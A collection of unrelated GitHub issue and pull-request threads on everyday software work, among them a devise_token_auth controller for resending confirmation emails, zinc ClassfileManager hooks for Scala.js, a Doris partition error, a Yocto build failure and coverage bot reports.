Resend Confirmation Email

Hi,
Is it possible to resend a confirmation email? I don't see the hooks in the API.
Thanks,
Sam

Any updates on this?

Would love to hear if there's any updates on this as well.

I managed to add this by overriding confirmations controller as below and making calls to POST /auth/confirmation
If this looks good, I am happy to make a pull request.
    mount_devise_token_auth_for 'User', at: '/auth', controllers: {
      confirmations:  'api/v1/confirmations'
    }

class Api::V1::ConfirmationsController < DeviseTokenAuth::ConfirmationsController

  def create
    unless resource_params[:email]
      return render json: {
        success: false,
        errors: ['You must provide an email address.']
      }, status: 400
    end

    unless params[:redirect_url]
      return render json: {
        success: false,
        errors: ['Missing redirect url.']
      }, status: 400
    end

    if resource_class.case_insensitive_keys.include?(:email)
      email = resource_params[:email].downcase
    else
      email = resource_params[:email]
    end

    q = "uid = ? AND provider='email'"

    # fix for mysql default case insensitivity
    if ActiveRecord::Base.connection.adapter_name.downcase.starts_with? 'mysql'
      q = "BINARY uid = ? AND provider='email'"
    end

    @resource = resource_class.where(q, email).first

    errors = nil

    if @resource
      @resource.send_confirmation_instructions({
        redirect_url: params[:confirm_success_url],
        client_config: params[:config_name]
      })
    else
      errors = ["Unable to find user with email '#{email}'."]
    end

    if errors
      render json: {
        success: false,
        errors: errors
      }, status: 400
    else
      render json: {
        status: 'success',
        data:   @resource.as_json
      }
    end

  end
end

Any updates on this? Can't see anything on this in the docs.

+1

+1

+1

@lynndylanhurley can we start adding "need help" labels to tickets like these. You don't have to do all the work. I'll even learn coffee-script if i have too 😝

looks like we already had a helps wanted label already  =]

This is not ng-token-auth issue, but devise_token_auth.
Can you please submit a PR to this repo?
Thanks in advance.

hi! Any update on this?


Test CI

Codecov Report

Merging #1 (c61660e) into master (9af18a0) will increase coverage by 6.79%.
The diff coverage is 90.90%.

@@            Coverage Diff             @@
##           master       #1      +/-   ##
==========================================
+ Coverage   89.03%   95.83%   +6.79%
==========================================
  Files           3        3
  Lines         374      384      +10
==========================================
+ Hits          333      368      +35
+ Misses         41       16      -25

Impacted Files
Coverage Δ

src/sparse_set.rs
95.61% <80.00%> (+3.64%)
:arrow_up:

src/arbitrary.rs
100.00% <100.00%> (+100.00%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9af18a0...c61660e. Read the comment docs.


Use the embed API to show search results inline

This is a work in progress,
just showing what can be done.
Refs https://github.com/rtfd/readthedocs.org/issues/1812

Closing this, as @humitos has a neat example of this working elsewhere.

Just for the records, it's at https://github.com/humitos/sphinx-hoverxref, still Work In Progress though. I does not touches the backend as your example and only works for :ref: directive. To be expanded for intersphinx there are probably more work to do and use the backend modeling that you added in another PR.


Menu cut off

When page content is too short vertically, the off-canvas menu is truncated.

Not fixed. Still being truncated in some circumstances.


Correct merge of PR#201 into Release

My first attempt at merging https://github.com/Microsoft/MIEngine/pull/201
proved incorrect - I merged the 'rough draft' instead of the final commit.
This merges it for real.
Verification:

Manually compared my DebuggedProcess.cs to https://raw.githubusercontent.com/Microsoft/MIEngine/3d6590e4c0a993ab267683536594d63f84452524/src/MIDebugEngine/Engine.Impl/DebuggedProcess.cs and confirmed that the only differences were from other PRs that I didn't want.
Verified that Android debugging still works
Re-verified clrdbg debugging with Visual Studio

@orablu please double check me.

:+1: Looks good to me!


Bike Kitchen theme

Related to our discussion at #1259 , how could we make a pre-defined Bike Kitchen theme? Consider the following a draft that will be updated in the following days, when I get more feedback from users... These are the elements that could be changed in my opinion:

rename pickups to activities
replace the food basket icon for a bike one like fa-bicycle or another neutral one
replace the feedback icon for... what? fa-check-square, fa-reply, fa-thumbs-up fa-book?
leave the feedback feature with the comment field alone, taking away the amount of food saved
change the background image to a bike-fixing related one. Maybe the one I used at my first mockup (in my repo)?

What still needs to be adapted:

the automatically sent out emails in the backend
possibly other things in the backend

@brnsolikyl check it out here: https://dev.karrot.world/#/group/24

Backend: true, I had forgotten about it!
Damn, you two were mega productive this week! :smile:
Cool to see the changes (even though the background I chose is much uglier than what I remembered)
I noticed yesterday that I could not give feedback some minutes after I did the pickup, it lead me to a page saying "all done" or something similar. Now I tried it again and it worked. Have you been working on it meanwhile? I'll try to reproduce the problem...

Background is easy to change! Maybe it's good for the first release, and then somebody creates a better one hopefully ;)

I noticed yesterday that I could not give feedback some minutes after I did the pickup, it lead me to a page saying "all done" or something similar. Now I tried it again and it worked. Have you been working on it meanwhile? I'll try to reproduce the problem...

Pickups have a default duration of 30 minutes, I think feedback can only be given afterwards.

Need to spend some time with the backend to find a nice solution for emails, push notifications and error messages. Currently I don't have an elegant solution in mind.

Another detail: Take away "weight" from "Both comment and weight cannot be blank" when entering blank feedback.

This is a backend error message, we need a different approach to handle them. Maybe it's a good opportunity to move all error messages into the frontend and address them via identifiers…? (just thinking out loud)

@brnsolikyl did you get more feedback regarding non-fitting emails or error messages for the bike kitchen theme? I wonder there's still something that should be done in the next time...

Nothing about the e-mails but I'll investigate a bit more. I haven't asked for feedback in a while and I think nobody there would contact me spontaneously to give me one. hehe
Definitely no big issues here...

Thanks, then I think it's ok to close this for now. Feel free to re-open if something comes up!


Spell .NET correctly

@cartermp while it's not really a problem, the ci isn't running.
Only 1 check ran


Horizontal list item reveal

Description
Create the component as shown in the video attached below.
Animation Preview

Screenshot/Video:

https://github.com/user-attachments/assets/840920a5-9212-4532-98d1-67dd4c9c1a47

[!NOTE]
Please refer to the Animata contributing guidelines available here for rules on how to contribute to the project. Let us know in the comments if you’re working on this issue, and feel free to ask any questions!

Requirements

Create a new animated component that matches the provided design.
Add example usage of the component in the documentation or storybook.

 Guidelines & Best Practices

Write reusable and clean code following the project’s style guide.
The component should be fully customizable. The user should be able to modify props such as duration, easing, color, and size where applicable.
Follow the Contributing Guidelines before submitting your pull request.

[!IMPORTANT]
To ensure more contributors have the opportunity to participate, we kindly request that:

Each contributor submits only one pull request related to this issue.
If you're interested in working on this issue, please comment below. We will assign the issue on a first-come, first-served basis.

Additional Resources
Posted on X by: https://x.com/rtvux/status/1833982754620391675

[!Tip]
Join our Discord community if you need help or have any questions. We're here to help you get started and guide you through the process. Join now

@sudhashrestha I want to work on this issue please assign me.

greetings @sudhashrestha , can you assign me this work please.

Assigned to @PankajKumar17 sing FCFC.

@PankajKumar17 You can use simple icons from lucide-react and don't need to create those complex widgets.

Ok sir

@hari @sudhashrestha I have created this component , can you have a look on this.
https://github.com/user-attachments/assets/6a76bfc4-b82a-4101-b54d-072e69a05446

Hi @PankajKumar17 Please create a PR for your work and we will review it. Thanks.


Error [1105] [HY000]: Range partition with batch partition: Failed to create table using datetime partition column

Search before asking

[X] I had searched in the issues and found no similar issues.

Version
1.2.1
What's Wrong?
create table internal.demo.test(
id int,
gmt_create datetime
) ENGINE=OLAP
UNIQUE KEY( id, gmt_create)
PARTITION BY RANGE(`gmt_create`)(
FROM ("2023-01-01 00:00:00") TO ("2024-01-01 00:00:00") INTERVAL 1 DAY
)
DISTRIBUTED BY HASH(id) BUCKETS 5

Error:

[1105] [HY000]: errCode = 2, detailMessage = Invalid range value format： errCode = 2, detailMessage = date literal [2023-01-01] is invalid: errCode = 2, detailMessage = Invalid datetime value: 2023-01-01

create table internal.demo.test(
id int,
gmt_create datetime
) ENGINE=OLAP
UNIQUE KEY( id, gmt_create)
PARTITION BY RANGE(`gmt_create`)(
FROM ("2023-01-01") TO ("2024-01-01") INTERVAL 1 DAY
)
DISTRIBUTED BY HASH(id) BUCKETS 5;

Error:

[1105] [HY000]: errCode = 2, detailMessage = Invalid range value format： errCode = 2, detailMessage = date literal [2023-01-01] is invalid: errCode = 2, detailMessage = Invalid datetime value: 2023-01-01

What You Expected?
How to create partition table like this?
How to Reproduce?
No response
Anything Else?
No response
Are you willing to submit PR?

[ ] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

@catpineapple The issue has been assigned to you in our jira


fix GitGetDetails cwd to root directory

I found an error Unexpected issue while generating metrics - startIndex cannot be larger than length of string. (Parameter 'startIndex') and realized that gitUrl.LastIndexOf("/") always returns the length of gitUrl, so I searched for a solution and change it to gitUrl.LastIndexOf('/')

I found an error Unexpected issue while generating metrics - startIndex cannot be larger than length of string. (Parameter 'startIndex') and realized that gitUrl.LastIndexOf("/") always returns the length of gitUrl, so I searched for a solution and change it to gitUrl.LastIndexOf('/')


Need some replacement for custom ClassfileManager

In sbt 0.13, IncOptions has a field newClassfileManager of type ClassfileManager, which is configurable. In 1.0.0-M4, we only have a very limited classfileManagerType.
Scala.js uses the highly configurable ClassfileManager here: https://github.com/scala-js/scala-js/blob/v0.6.9/sbt-plugin/src/main/scala/scala/scalajs/sbtplugin/ScalaJSPluginInternal.scala#L110-L137
This is necessary so .sjsir files are deleted when their "companion" .class files are deleted. Which of course is necessary for incremental compilation to work at all with Scala.js.
We absolutely need a way to implement the same functionality, i.e., this is a blocker for Scala.js. Whether by reintroducing newClassfileManager or another way to do it.

Correspondingly, when pants uses zinc to build scala.js, we have a similar concern.

@sjrd : One alternative here might be to lean further in on the virtual-file-system approach that @peiyuwang began with #181 . In particular, using a similar vfs implementation for scalac (assuming scala.js uses the scalac filesystem APIs) would capture these naturally.

@sjrd It seems we can already do this, but we need to dive deeper into the new Zinc 1.0 API. AFAIK, Grzgorz introduced a new interface called ExternalHooks that allows you to inject your own LookUp and ClassFileManager instances for further customisation.
This is how I would replicate that functionality with the new API:
import xsbti.compile.{IncOptions, ExternalHooks, ClassFileManager}

/** Patches the IncOptions so that .sjsir files are pruned as needed.
 *
 *  This complicated logic patches the ClassfileManager factory of the given
 *  IncOptions with one that is aware of .sjsir files emitted by the Scala.js
 *  compiler. This makes sure that, when a .class file must be deleted, the
 *  corresponding .sjsir file are also deleted.
 */
def scalaJSPatchIncOptions(incOptions: IncOptions): IncOptions = {
  // We can be more fine-grained and check which ClassFileManagerType we expect
  val inheritedNewClassfileManager =
    sbt.internal.inc.ClassfileManager.getClassfileManager(incOptions)
  val newClassfileManager = () => new ClassFileManager {
    private[this] val inherited = inheritedNewClassfileManager()

    def delete(classes: Iterable[java.io.File]): Unit = {
      inherited.delete(classes flatMap { classFile =>
        val scalaJSFiles = if (classFile.getPath endsWith ".class") {
          val f = FileVirtualFile.withExtension(classFile, ".class", ".sjsir")
          if (f.exists) List(f)
          else Nil
        } else Nil
        classFile :: scalaJSFiles
      })
    }

    def generated(classes: Iterable[java.io.File]): Unit = inherited.generated(classes)
    def complete(success: Boolean): Unit = inherited.complete(success)
  }
  // Use new external hooks interface to inject Scalajs ClassFileManager
  val hooks = new ExternalHooks {
    override def externalClassFileManager() = newClassfileManager
    override def externalLookup() = null
  }
  incOptions.withExternalHooks(hooks)
}

Does this sound reasonable to you?

Does this compose with other transformations of IncOptions that also have their own withExternalHooks?
Also, this uses sbt.internal.*, so it could be a viable option only if the functionality being used is made publicly available outside of sbt.internal. Indeed, internal packages are not guaranteed to be supported, e.g., they could break binary compatibility at any time.

Can you write a code snippet that illustrates the motivation for the composition you're talking about? I'm not sure I'm following you there.
Regarding the stability of the API, granted. I agree that the API should have a method to get the ClassFileManager directly without going through that Scala object living in the internals of Zinc. I'll see what I can do about that and get back to you when I have a solution.

Can you write a code snippet that illustrates the motivation for the composition you're talking about? I'm not sure I'm following you there.

Consider another sbt plugin, written by someone else, that also needs to alter incOptions with its own ExternalHooks. Can the custom external hooks of both plugins compose? In terms of code snippet, just imagine a second copy of the same snippet you showed me, using .foo instead of .sjsir. Then the incOptions resulting from composing the two functions should delete both .foo and .sjsir files.

Is xsbti._ public API does anyone know? What about xsbti.compile._?

Both of them are public @dwijnand.
@sjrd I'll look into the composability of ExternalHooks, but off the top of my head you can compose ExternalHooks by using inheritance and checking if there's already an external class file manager defined. That's the same approach you are using currently, as far as I see.

@jvican

Both of them are public @dwijnand

We should either state that explicitly or tweak http://www.scala-sbt.org/0.13/docs/Coding-Guideline.html#Hide+implementation+details to explicitly state that every other package that sbt provides is public API.

@jvican:

I'll look into the composability of ExternalHooks, but off the top of my head you can compose ExternalHooks by using inheritance and checking if there's already an external class file manager defined. That's the same approach you are using currently, as far as I see.

This is really complicated to get right because you need to take into account the internal ClassFileManager as well as whether or not there already is an external ClassFileManager, and then I guess you need to make your own WrappedClassFileManager when overriding externalClassFileManager if there already is an external ClassFileManager ? This is twice as hard to get right as the previous API, which was already impossible to get right by yourself. I think this needs to be properly redesigned.

Actually WrappedClassFileManager is private in sbt so it's even worse than that: to properly override the external classfilemanager, you need to reimplement WrappedClassFileManager.

@smarter thanks for the feedback. Can you please open a new issue with that information and tje ideal API you'd like to see?

I have no idea what the ideal API would be.

Opened https://github.com/sbt/zinc/issues/312


Allow '#' in attach point path

This closes #793.

@danobi - it appears that this doesn't fix the issue for more complex path constructions. The following simple modification of your test case for this bug using a path derived from the style used internally within FB:
# cat t.bt
uprobe:/with#hash-platform007-clang,shared:asdf
{
  printf("hello");
}
# /tmp/bpftrace ./t.bt
1.13-47: syntax error, unexpected preprocessor directive


Refactor/tracing path validator

Scope & Purpose
Added a traced version of PathValidator according to Tracify.md from the EE.

[ ] :hankey: Bugfix (requires CHANGELOG entry)
[ ] :pizza: New feature (requires CHANGELOG entry, feature documentation and release notes)
[ ] :fire: Performance improvement
[x] :hammer: Refactoring/simplification
[ ] :book: CHANGELOG entry made

Backports:

[ ] Backport for 3.9: (Please link PR)
[ ] Backport for 3.8: (Please link PR)
[ ] Backport for 3.7: (Please link PR)

Related Information
(Please reference tickets / specification / other PRs etc)

[x] Docs PR: Tracify.md in EE/documents/internal/.
[ ] Enterprise PR:
[ ] GitHub issue / Jira ticket number:
[ ] Design document:

Testing & Verification
(Please pick either of the following options)

[x] This change is a trivial rework / code cleanup without any test coverage.
[ ] The behavior in this PR was manually tested
[ ] This change is already covered by existing tests, such as (please describe tests).
[ ] This PR adds tests that were used to verify all changes:

[ ] Added new C++ Unit tests
[ ] Added new integration tests (e.g. in shell_server / shell_server_aql)
[ ] Added new resilience tests (only if the feature is impacted by failovers)

[ ] There are tests in an external testing repository:
[ ] I ensured this code runs with ASan / TSan or other static verification tools

Link to Jenkins PR run:
Documentation

All new features should be accompanied by corresponding documentation.
Bugs and features should furthermore be documented in the CHANGELOG so that
support, end users, and other developers have a concise overview.

[ ] Added entry to Release Notes
[ ] Added a new section in the Manual
[ ] Added a new section in the HTTP API
[ ] Added Swagger examples for the HTTP API
[ ] Updated license information in LICENSES-OTHER-COMPONENTS.md for 3rd party libraries

External contributors / CLA Note
Please note that for legal reasons we require you to sign the Contributor Agreement
before we can accept your pull requests.

Unrelated CI failure.


Change the messaging to avoid confusion

What type of PR is this?
/kind code-refactoring
What does does this PR do / why we need it:
Operators listed by odo catalog list services could or could not be
installed from Operator Hub.
Which issue(s) this PR fixes:
Fixes #2794
How to test changes / Special notes to the reviewer:
Enable the experimental mode and check output of odo catalog list services. Make sure at least one operator is installed in the cluster.

/approve
/retest


Remove calls with unused return value

Found by Linux Verification Center (linuxtesting.org) with SVACE.
CLA: trivial

This PR is in a state where it requires action by @openssl/otc but the last update was 30 days ago

This PR is in a state where it requires action by @openssl/otc but the last update was 30 days ago

This PR is in a state where it requires action by @openssl/otc but the last update was 61 days ago

This PR is in a state where it requires action by @openssl/otc but the last update was 92 days ago

This PR is in a state where it requires action by @openssl/otc but the last update was 123 days ago

OK with CLA: trivial

ACK, trivial

This pull request is ready to merge

Merged to the master branch with slightly tweaked commit message. Thank you for your contribution.


Event Broadcasting not working

hi
I am working on a chat application and creating an event in module/events directory to broadcast when there is a new message, and receiving that using laravel echo, but unfortunately laravel echo listen event is not triggered after broadcast. i have verified my code by creating another broadcast event in root (App/Events) and its working fine there. could you please help me for this.
thanks

Hi,
I've done event broadcasting with laravel echo in modules before so I'm sure it's possible.
I'm guessing there's a config / API to register events from within modules.

Hi,
I've done event broadcasting with laravel echo in modules before so I'm sure it's possible.
I'm guessing there's a config / API to register events from within modules.

sure i have the some problem can you be more specific please


Release Google.Shopping.Merchant.Inventories.V1Beta version 1.0.0-beta02

Changes in this release:
New features

Add session and session_template controllers (commit 14d4f40)

Created release for Google.Shopping.Merchant.Inventories.V1Beta-1.0.0-beta02


Goals of this project?

To the PM/lead of this project: We really love LogDNA and the fact that you work on a TF provider is great. However, you do not support the most basic operations that make LogDNA great, for example:

Line templates. I can only set them via the user interface. They are essential to a good log consumption experience and yet the provider does not support them. I reported this when 1.1.0 was out, that is 6 versions ago. See https://github.com/logdna/terraform-provider-logdna/issues/22
Attaching existing slack channel alerts to views. See https://github.com/logdna/terraform-provider-logdna/issues/40. This essentially makes the provider useless for us.

In my naive thinking, I would expect that you cover existing resources (views and alerts being the most basic elements of your app) to an extent that one can work with it. Everything else is just frustrating.
cc @leeliu

Hi @philippfrank ! PM here :)
Really appreciate your feedback for our TF provider. I love that you are enjoying our line templates feature to help with log consumption — just so I can better understand how you are envisioning our TF Provider supporting, do you imagine being able to define a persisted line template as a part of a View resource in TF?
Also we are investigating some of the other bugs you've reported and will get back to you asap. We should be supporting the ability to add Slack channel alerts to Views.

Thanks for the quick response:

[...] do you imagine being able to define a persisted line template as a part of a View resource in TF?

Yes

We should be supporting the ability to add Slack channel alerts to Views

Could you point me to a piece of documentation about how I can attach an existing slack alert channel to a view (versus: creating an inline slack channel alert).

Hi @philippfrank, thanks for your reply.

#22 Is now in our backlog
To clarify @alfeng6 response, with the current release we only support recreating the view specific alert.  To attach a preset, we will be fixing it as stated here (https://github.com/logdna/terraform-provider-logdna/issues/40#issuecomment-1016837443)


Crash when reordering items

Example project: https://github.com/urazov-s/tableTest
Steps to reproduce:

Tap Fill button.
Tap Switch button

Thanks or reporting this. I've implemented a fix, but I've been too busy to do proper testing. Stay tuned.

Fixed in version 0.4.2


Add CleanArchitectureRxSwift in Code Quality

Project URL
https://github.com/sergdort/CleanArchitectureRxSwift
Description
Example of Clean Architecture of iOS app using RxSwift
Checklist

[x] Only one project/change is in this pull request
[x] Addition in chronological order (bottom of category)
[x] Supports iOS 9 / tvOS 10 or later
[x] Supports Swift 3
[x] Has a commit from less than 2 years ago
[x] Has a clear README in English

@miguelarauj1o pls delete the branch next time
thx!

Okay


246 explain the difference between storage and opdatastore

@gregLibert Do you know what we could add to explain or reference ExecuteSC function which is not a massa-as-sdk function

@gregLibert Do you know what we could add to explain or reference ExecuteSC function which is not a massa-as-sdk function

This should be done in the SC documentation and maybe in massa in action.


Adding beagleplay support: ERROR in do_assemble_fitimage_initramfs()

Good morning,
I am trying to add support for the new beagleplay board to Belana. The maintainers at ti have already added the relevant 'beagleplay*.conf' to the meta-ti-bsp layer (on the kirkstone branch), and a recently approved pull request has added support for yocto-kirstone to this repo (I was able to successfully build the 'balena-image'target for the 'beaglebone machine).
After many days of bug fixing a debugging, the build is (almost) complete (at around 99%). The failures appear to be happening in the signing/packaing stage.
Here's snippet of the cookerlog:
ERROR: linux-bb.org-5.10.162+gitAUTOINC+a2f5d5746b-r0 do_assemble_fitimage_initramfs: ExecutionError('/home/ubuntu/balena-beaglebone/build/tmp/work/beaglebone_play-poky-linux/linux-bb.org/5.10.162+gitAUTOINC+a2f5d5746b-r0/temp/run.do_assemble_fitimage_initramfs.438362', 255, None, None)
ERROR: Logfile of failure stored in: /home/ubuntu/balena-beaglebone/build/tmp/work/beaglebone_play-poky-linux/linux-bb.org/5.10.162+gitAUTOINC+a2f5d5746b-r0/temp/log.do_assemble_fitimage_initramfs.438362
NOTE: recipe linux-bb.org-5.10.162+gitAUTOINC+a2f5d5746b-r0: task do_assemble_fitimage_initramfs: Failed
ERROR: Task (/home/ubuntu/balena-beaglebone/build/../layers/meta-ti/meta-ti-bsp/recipes-kernel/linux/linux-bb.org_git.bb:do_assemble_fitimage_initramfs) failed with exit code '1'
NOTE: Tasks Summary: Attempted 3965 tasks of which 3940 didn't need to be rerun and 1 failed.

And the actual error message from the failing task:
DEBUG: Executing shell function do_assemble_fitimage_initramfs
gzip
uboot-mkimage Can't add hashes to FIT blob: -93
Unsupported hash algorithm (sha512) for 'hash-1' hash node in 'kernel-1' image node
WARNING: exit code 255 from a shell command.

It appears that the versions of u-boot (and u-boot-tools) that I am picking up have a signing step (for the uboot image) which appears to fail.
The so called PREFERRED_PROVIDER for the virtual/kernel for the beagleplay device (which, per the meta-ti-bsp layer, is set as below in the beagleplay.conf file) is linux-bb.org:
PREFERRED_PROVIDER_virtual/kernel = "linux-bb.org"

Should I be using the custom linux-beagleboard  target (which is explicitly set in the layer.conf file of this repo) instead ?
PREFERRED_PROVIDER_virtual/kernel:beaglebone = "linux-beagleboard"

The one key difference between the balena layer builds and the ones from the meta-ti-bsp repo appears to be related to the (relatively recent) signing of uboot (and perhaps rootfs) images (there may be other difference, but this is what I have surmised so far).
Thoughts and suggestions are welcome.
Regards,
Sidd

This issue was caused because the bitbake process repeatedly picked up a stale (old) version of the uboot-mkimage executable from my ${WORKDIR}.
I added the following (explicit) line to the beaglebone-play.conf file:
PREFERRED_VERSION_u-boot-tools ?= "2022.01"

Then, I deleted the entire tmp  folder (calling the clean, cleanall tasks for u-boot-tools didn't seem to do the trick).
And this error stopped happening.
Onto the (next) error...

Closing for now.


chore: bdd-nh-1585581109 to 0.0.1

chore: Promote bdd-nh-1585581109 to version 0.0.1

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approvers:
If they are not already assigned, you can assign the PR to them by writing /assign  in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Set min/max voltage of servomotors

The min voltage seems too high for the moment.

Useless as the default min/max voltage are already set to good values.
Default min voltage is 6.714 V -> 0.96 V per cell which correspond to the end of discharge.


shrinking pixels only @ FF

Shrinks pixels on shadow boxes at firefox. Fixes issue #39.

Thanks😍
I confirmed on FF63 👍

before
after

LGTM 🎉

:tada: This PR is included in version 1.0.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


feat(NODE-4686): Add log messages to CLAM spec

Description
Add logging to CLAM events, un-skip + add support for CLAM logging spec tests, and add in prose tests.
What is changing?
CLAM logging messages will be enabled when loggingClientOptions for component MongoLoggableComponent.COMMAND >= SeverityLevel.DEBUG.
NOTE:

Command logging is enabled separate from command monitoring, and the command logging messages contain additional fields than command monitoring, resulting in the need for the additional emitAndLogCommand method.
More context can be found within the kickoff.
through inspection of the spec runner, failureIsRedacted is already supported

Is there new documentation needed for these changes?
Not until logging is released (NODE-5762)
What is the motivation for this change?
To allow users to see CLAM events through logging.
TODO:
once all comments are resolved, update all changes made to the Connection class to also be in the ModernConnection class
OR
rebase once Modern Connection PR (NODE-5743) is merged into main
Double check the following

[x] Ran npm run check:lint script
[x] Self-review completed using the steps outlined here
[x] PR title follows the correct format: type(NODE-xxxx)[!]: description

Example: feat(NODE-1234)!: rewriting everything in coffeescript

[ ] Changes are covered by tests
[ ] New TODOs have a related JIRA ticket

@durran rebase is done, TIA!

Added in the failure field to the unit tests

I had a syntax error in emitAndLogCommand that made the output invalid, is fixed now.


Add navigation bar

Adding a navigation bar to the website will make it easier for users to navigate through the website and find the information they need. The navigation bar can be placed at the top of the website and can include links to different pages on the website, such as the home page, about us page, contact us page and other relevant pages.
The navigation bar should be designed in a way that is user-friendly and easy to understand. It should be visually appealing, and the links should be organized in a logical manner. It is also important to ensure that the navigation bar is responsive and works well on all devices, including desktops, laptops, tablets, and smartphones.
In addition to the navigation bar, it may also be useful to include a search bar on the website, allowing users to quickly search for specific information they need. This can be especially useful for larger websites with a lot of content.
Overall, adding a navigation bar and search bar to the website will improve user experience and make it easier for users to find the information they need.

Can I Help?

Hi @Shahid-Bagwan
That sounds great! Thank you for expressing your interest in adding a navigation bar. We welcome any contributions that can enhance the user experience of our platform. Please feel free to take the issue. We look forward to seeing your contributions.
Thanks 😊

I tried this , what do you think about it?

Hi @yuvrxj-afk
Looking good. Will have to check on other pages too. Could you please try with some other pages too.

Surely ankit. Looking forward to that.
Should we create different components? Or you want it to working like this only?

I tried this , what do you think about it?

I really liked this design, great work @yuvrxj-afk . @ank1traj assign him the issue, he is the perfect match.

Surely ankit. Looking forward to that.
Should we create different components? Or you want it to be working like this only?

@yuvrxj-afk What do you mean by different components?

Basically to use router here.

Yes, that would be great. As adding router will make easier to use the navigation.

First version is Implemented by @yuvrxj-afk. Tested it successfully. Closing the issue.


[DO NOT MERGE] unit test coverage and bug fixes

Critical Changes
Changes
Issues Closed
New Metadata
Deleted Metadata

@jbrandolinisf - this should be ready for your review!


Modifications to RT 1.28-BGP to IS-IS redistribution

Script is currently replacing the policy without deleting the policy reference in import/export in BGP and in table connections. Updated script to handle this.
Updated community verification with union of string or uint32 based on the yang model

Pull Request Functional Test Report for #3359 / b87b9c9673f57f61eb398f640b7e2dee49d269cb
Virtual Devices

Device
Test
Test Documentation
Job
Raw Log

Arista cEOS

RT-1.28: BGP to IS-IS redistribution

Cisco 8000E

RT-1.28: BGP to IS-IS redistribution

Cisco XRd

RT-1.28: BGP to IS-IS redistribution

Juniper ncPTX

RT-1.28: BGP to IS-IS redistribution

Nokia SR Linux

RT-1.28: BGP to IS-IS redistribution

Openconfig Lemming

RT-1.28: BGP to IS-IS redistribution

Hardware Devices

Device
Test
Test Documentation
Raw Log

Arista 7808

RT-1.28: BGP to IS-IS redistribution

Cisco 8808

RT-1.28: BGP to IS-IS redistribution

Juniper PTX10008

RT-1.28: BGP to IS-IS redistribution

Nokia 7250 IXR-10e

RT-1.28: BGP to IS-IS redistribution

Help

Pull Request Test Coverage Report for Build<PHONE_NUMBER>5
Warning: This coverage report may be inaccurate.
This pull request's base commit is no longer the HEAD commit of its target branch. This means it includes changes from outside the original pull request, including, potentially, unrelated coverage changes.

For more information on this, see Tracking coverage changes with pull request builds.
To avoid this issue with future PRs, see these Recommended CI Configurations.
For a quick fix, rebase this PR at GitHub. Your next report should be accurate.

Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 55.5%

Totals

Change from base Build<PHONE_NUMBER>5:
0.0%

Covered Lines:
1983

Relevant Lines:
3573

💛  - Coveralls

/fptest virtual

Another request though it is not part of the change in this PR
If possible please add a space after // for the below mentioned lines. The script should still run and functionality is tested.
774 //Create prefix-set
778 //Create community-set
789 //Create tag-set with above route tag value
794 //Route-policy to match tag and accept

Another request though it is not part changes in this PR If possible please add a space after // for the below mentioned lines.
774 //Create prefix-set 778 //Create community-set 789 //Create tag-set with above route tag value 794 //Route-policy to match tag and accept

Taken care of this


report: Code Generation (part of Design) [5h]

Prerequisite for #55.

Marked as future ambition. Closing for now.


about the Dropout

hi,dear all
when use Dropout as the help down, I got confused, what sum is not changed ??
>>> help(tf.keras.layers.Dropout)
class Dropout(tensorflow.python.keras.engine.base_layer.Layer)
 |  Dropout(*args, **kwargs)
 |
 |  Applies Dropout to the input.
 |
 |  The Dropout layer randomly sets input units to 0 with a frequency of `rate`
 |  at each step during training time, which helps prevent overfitting.
 |  Inputs not set to 0 are scaled up by 1/(1 - rate) such that the **sum** over
 |  all inputs is unchanged.

>>> layer = tf.keras.layers.Dropout(.2, input_shape=(2,))
>>> data = np.arange(10).reshape(5, 2).astype(np.float32)
>>> data
array([[0., 1.],
       [2., 3.],
       [4., 5.],
       [6., 7.],
       [8., 9.]], dtype=float32)
>>> outputs = layer(data, training=True)
>>> outputs
<tf.Tensor: shape=(5, 2), dtype=float32, numpy=
array([[ 0.  ,  1.25],
       [ 2.5 ,  3.75],
       [ 5.  ,  6.25],
       [ 7.5 ,  0.  ],
       [10.  , 11.25]], dtype=float32)>
>>> np.sum(outputs)
47.5
>>> np.sum(data)
45.0
>>> np.sum(data)/10
4.5
>>> np.sum(data)/8
5.625
>>> np.sum(data,axis=1)
array([ 1.,  5.,  9., 13., 17.], dtype=float32)
>>> np.sum(outputs,axis=1)
array([ 1.25,  6.25, 11.25,  7.5 , 21.25], dtype=float32)
>>> np.sum(outputs,axis=0)
array([25. , 22.5], dtype=float32)
>>> np.sum(data,axis=0)
array([20., 25.], dtype=float32)
>>> np.sum(outputs)/8
5.9375
>>> np.sum(outputs)/10
4.75

could you pls help me ?
thx
same as the issue in tensorflow/tensorflow

@ucasiggcas ,
Can you please refer the link for information regarding tf.keras.layers.Dropout.It helps.Link1,Link2.Thanks!


Fix broken profile link

Closes #13239
Clicking Profile link under "Account" header in me page opens an overlay with the form in it
Route for updating a user's name is no longer present so the form is disabled until that is back

[ ] CHANGELOG.md updated with a link to the PR (not the Issue)
[x] Rebased/mergeable
[x] Tests pass
[ ] http/swagger.yml updated (if modified Go structs or API)
[ ] Sign CLA (if not already signed)

Closed in favor of https://github.com/influxdata/influxdb/pull/13551


Fix prediction

Fix the bug of the prediction for the celerite covariance functions

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 85.26%. Comparing base (e5c8540) to head (f22f82c).

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##             main      #27      +/-   ##
==========================================
+ Coverage   84.82%   85.26%   +0.43%
==========================================
  Files          10        9       -1
  Lines         692      692
==========================================
+ Hits          587      590       +3
+ Misses        105      102       -3

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Searching Open Source Database via text // History

I would love to be able to search the Open Food Facts data base with text rather than barcode!
Also, it'd be nice to be able to summon previously eaten foods. Like if I'm drinking a specific brand of protein shake every day, I'd prefer to not have to scan the barcode each time.

